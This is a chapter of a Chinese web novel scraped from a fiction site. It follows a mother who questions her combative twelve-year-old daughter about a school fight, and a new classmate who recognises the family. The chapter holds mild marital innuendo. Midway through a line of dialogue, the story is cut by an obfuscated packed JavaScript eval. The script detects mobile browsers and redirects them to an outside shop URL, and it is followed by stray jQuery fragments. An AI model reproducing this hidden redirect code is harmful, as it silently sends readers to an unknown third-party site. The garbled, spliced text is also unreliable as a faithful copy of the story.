文趣网 > 其他小说 > 抱上师尊大腿 > 28. 夜话
    溪小米看见娘手上没拿豆橛子松了口气。

    溪露气鼓鼓,视线巡视过女孩,抬起步子走向捂着屁股提防着她的小崽儿。

    “娘,我错了。”

    溪小米绕着桌子溜到另一边,溪露也顺着桌子去捉她,母女两人绕桌,一个躲一个追,小妇人怎么也碰不到女儿一跺脚蹲地上抽泣。

    小崽儿停下脚转而向娘慢慢靠近,小妇人立即起身扑向小崽儿。

    “小坏蛋被娘逮住了吧!”

    溪露抱着女儿,她方才假意装哭引小崽儿靠近,现在女儿抱在怀里,小妇人对其上下其手。

    “可是又跟别人打架了,让娘看看可有受伤?”

    “没有。”

    溪露仔仔细细检查过才放心,随即又恢复气哼哼的模样。

    “坐下吃饭。”

    溪小米见娘没有再打她屁股的意思,坐下一口一口扒拉着碗里的豆橛子炒肉。

    溪露转身去厨房,回来时给小崽儿添了两个煎好的蛋,坐在一旁看女孩吃完饭。

    溪小米看娘还在盯这自己暗道不妙,不会是等她吃完饭继续抽她腚吧?

    只见溪露起身道:“吃完就去洗澡上床睡觉。”

    小妇人朝小崽儿榻上走去:“今晚娘跟你一起睡。”

    溪露已经好久没带小崽儿一起睡觉了,今夜正好她也不打算回房,虽然方才答应男人但她此时回去定要被男人按着翻云覆雨,再说她也想细细盘问小崽儿在学堂干了些什么好事。

    溪小米刻意慢吞吞磋磨时光洗好澡回到榻上,娘已经闭眼睡下了,女孩轻手轻脚刚躺好就被娘搂在怀里。

    “娘的小崽儿~告诉娘为什么又与人打架?”

    溪小米一个女娃娃常常与别的孩子打架这是街坊邻居都知道的事,孩子们在一起玩偶有摩擦是常事但溪小米却将这一带的男孩揍了一遍,打得人家嗷嗷直哭,问就是别人先惹她的她才揍他们,小崽儿今年十二岁打遍街邻无敌手成了这一带孩子中的小霸王。

    其实小崽儿霸道的性子溪露是了然于心,从小崽儿还在吃奶期就能看出来,可霸道了,她是独女吃独分,这边吃得不耐烦了就大力拱娘要吃另一边,不给就哼哼唧唧嘴里骂骂咧咧。

    小妇人奶水足有时她不愿吃了剩下的也不许死鬼夫君染指,所以溪露让男人帮忙解决时都背着小崽儿,一旦被小崽儿发现老爹吃自己的粮必定重拳出击嘴里骂骂咧咧一整天。

    长大点更是霸道非常,但凡有小孩敢对她言语不敬必寻仇报复揍得人家哭爹喊娘,苦了自己与夫君事后登门道歉。

    更可恶的是自己那死鬼男人还颇为纵容小崽儿凑人,亲手教女儿如何将人揍趴下。

    溪露看了眼闭眼装睡的小崽儿挠她胳肢窝:“快老实交代为什么打人。”

    溪小米最怕被人挠痒痒只能一五一十道:“学堂来了一个新学生我看他长得俊就去找他一块玩却被他拒绝,后来被赵小柱他们几个背地里嘲笑说我虚荣攀扯人家,我心中气不过就把赵小柱他们几个都揍了一顿然后就被夫子赶退学了。”

    溪露明了恨铁不成钢点了点女儿的脑袋瓜:“你呀一冲动就要揍人什么时候能学会控制你那暴脾气。”

    “娘!还不是赵小柱他们背后说我坏话还被我听见我才揍他们的。”

    溪小米捂着脑袋反驳。

    可她顾头不顾腚,小崽儿的小屁股又被娘啪啪揍了几下,女孩一个鲤鱼打挺从床上坐起就要下床跑路又被娘拉上床抱在怀里。

    溪露还是很宝贝她生的小崽儿,她不论多调皮捣蛋都是娘的心头肉,再说溪小米这性子也是自己和夫君惯出来的,娘拍拍小崽儿的背问:“你说的那个新来的学生真有这么俊吗?”

    一说到这个溪小米就来劲了眼睛闪绿光频频点头:“嗯嗯!他是我见到过长得最好看的男孩子!”

    溪露不免对那个学堂新来的学生好奇起来,能让小崽儿都赞不绝口的人她倒是想看看能生的多好看,毕竟小崽儿他爹艳郎独绝小崽儿的审美可是很高的。

    “有多好看那小子还能比你爹长的好看?”

    “不一样,跟爹是不一样的美,娘我跟你说......”

    “真的?明天娘跟你一起去瞧瞧。”

    门外的男人黑着张脸听着屋内母女两人的声音,她想去瞧什么?瞧谁比他长得好看?

    崇猽按了按眉际压下升起的阴郁推开门。

    小妇人跟小崽儿聊得正欢对男人已经出现在床边毫无察觉,溪小米看见老爹板着一张脸站在床边拉了拉娘的衣裳。

    “咋了崽儿,你继续说呀?”

    溪小米看了眼脸黑成锅底的爹,她只能提示这么多了,娘你还是自求多福吧。

    小妇人还想再问突然被人从背后抱起,转头一看便对上自家夫君黑着的脸。

    崇猽抱着小妻子往外走,怀里人手脚并用扑腾,嘴里重复说:“我要跟小崽儿睡,跟小崽儿睡。”

    溪小米看着娘被抱走门关上隔绝了娘的声音。

    崇猽将房子翻新改造了一遍后,隔音出奇的好,女孩躺床上吃着零食看着私藏的小册子美滋滋熄灯睡觉。

    溪露就不美滋滋,她一晚上被男人翻过来覆过去,男人既要又给,最后两人战到深夜才睡。

    第二天早上溪露爬起身说什么也要亲自送女孩上学堂。

    溪小米看看顶着两个黑眼圈的娘又看了看跟在娘身后黑脸的爹,滑着滑板一溜烟没影了。

    本想着甩掉爹娘,不料她到学堂时爹娘已经在学堂跟夫子正谈着话,溪小米远远看见爹跟夫子说了些什么一向严厉的夫子竟露出笑脸来,看见溪小米招她赶紧进去上课。

    溪小米与爹娘擦肩而过,崇猽淡淡道:“去吧。”

    溪露还想跟着小崽儿进去看看便被男人二话不说拽走了。

    溪小米进到课堂里面原本乱哄哄的学生立即安静下来,一个个默不作声看着溪小米进门一步步走到最后靠窗的位置坐下。

    女孩放下书包扫视一圈众人翻了一个白眼。

    切,都是垃圾。

    随后看眼前方还空着的座位,他还没来。女孩忽视众人的目光趴在桌上歪头睡觉。

    “她不是被退学了吗?怎么还能来?”

    “唉,人家有个有钱的爹娘呗。”

    “你

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17892718|212787||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    猜她这次多久被夫子赶出去?”

    “嘘,你小点声......”

    ......

    云湛到学堂便见其他学生都在窃窃私语,昨天的那个女孩趴在桌上睡觉。

    他的座位就在她前面,他走到自己的座位后没有坐下指节轻轻敲了敲溪小米的桌面。

    “同学快要上课了别睡了专心听课吧。”

    溪小米支起身懒洋洋伸了个懒腰,小手拖着带着婴儿肥的脸蛋,眸子亮亮的对面前的少年笑笑。

    “嗯。”

    云湛坐下后夫子就拿着戒尺胳膊夹着书本走进课堂。

    溪小米望着他那白花花的胡须,学堂的夫子都是一副花甲老人的模样,身穿布衣长衫体态不是太过消瘦就是太过臃肿,都蓄着胡须,满嘴之乎者也,了无生趣。

    讲台上夫子念着枯燥无味的课文:“在桌各位学子一起跟我念:学而不思则罔,思而不学则殆。”

    各学子:“学而不思则罔,思而不学则殆。”

    溪小米手托下巴张张嘴。

    夫子捋了捋胡:“同学们对这句话有何见解?”

    环视一圈满堂学生,只有一人道:“只学习而不思考就会感到迷茫而无所适从,只思考不学习则会心中充满疑惑而无定见,这就话告诉我们学习与思考相辅相成缺一不可。”

    云湛准确说出了这句话的意思与启示,夫子点点头又问了些问题少年皆对答如流。

    夫子捋胡颔首:“各学子要向云湛多学习,多读多思学有所成,有朝一日榜上有名得步入仕途也算是光耀门楣。”夫子又看了看某处言语一转:“而不是整天研究些旁门左道惹是生非!”

    溪小米翻了个白眼后面这话是在说她呢。

    课后溪小米支着脑袋望向窗外,一只鸟儿飞过,女孩目光追随那只鸟,眉眼弯弯。

    云湛转过身主动跟溪小米说话:“昨天之事我很抱歉。”

    女孩转过头看着他,他抱歉什么?

    云湛:“我不是不愿和你一起玩,只是......”

    只是什么?

    少年低垂眼帘,他昨天刚来对一切都不熟悉,忽然间一个嬉笑明媚的女孩闯进他的双眼大咧咧邀他与她一起玩,少年惶恐,他还不知道她的名字呢,心中打鼓想马上答应可到嘴的话说出的却是拒绝。

    他后来从别人口中得知他的拒绝害她被人嘲笑被夫子退学,心中懊恼不已准备找夫子求情但见女孩背着书包滑进学堂,他追上去与一对夫妻迎面想而过,目光落到被高大男人牵着的夫人身上,少年顿住脚步呼吸一滞。

    那夫人正是十几年前隔壁突然消失的溪夫人。

    他还记得当初那个奶娃娃被溪夫人抱回家隔壁一夜间举家消失。他母亲问过,旁人说是搬走了,母亲惋惜念叨还想再抱抱小奶娃。

    他看着手中修补好的风筝本想送给她,也送不出去了。

    云湛凝望着溪小米的眉眼,她跟溪夫人长得很像,从一个小白面团子长成大点的白面团子。

    窗外阳光透过摇曳的树影落在两人的侧脸,少年垂眸微笑。

    她还是和小时候一样可爱。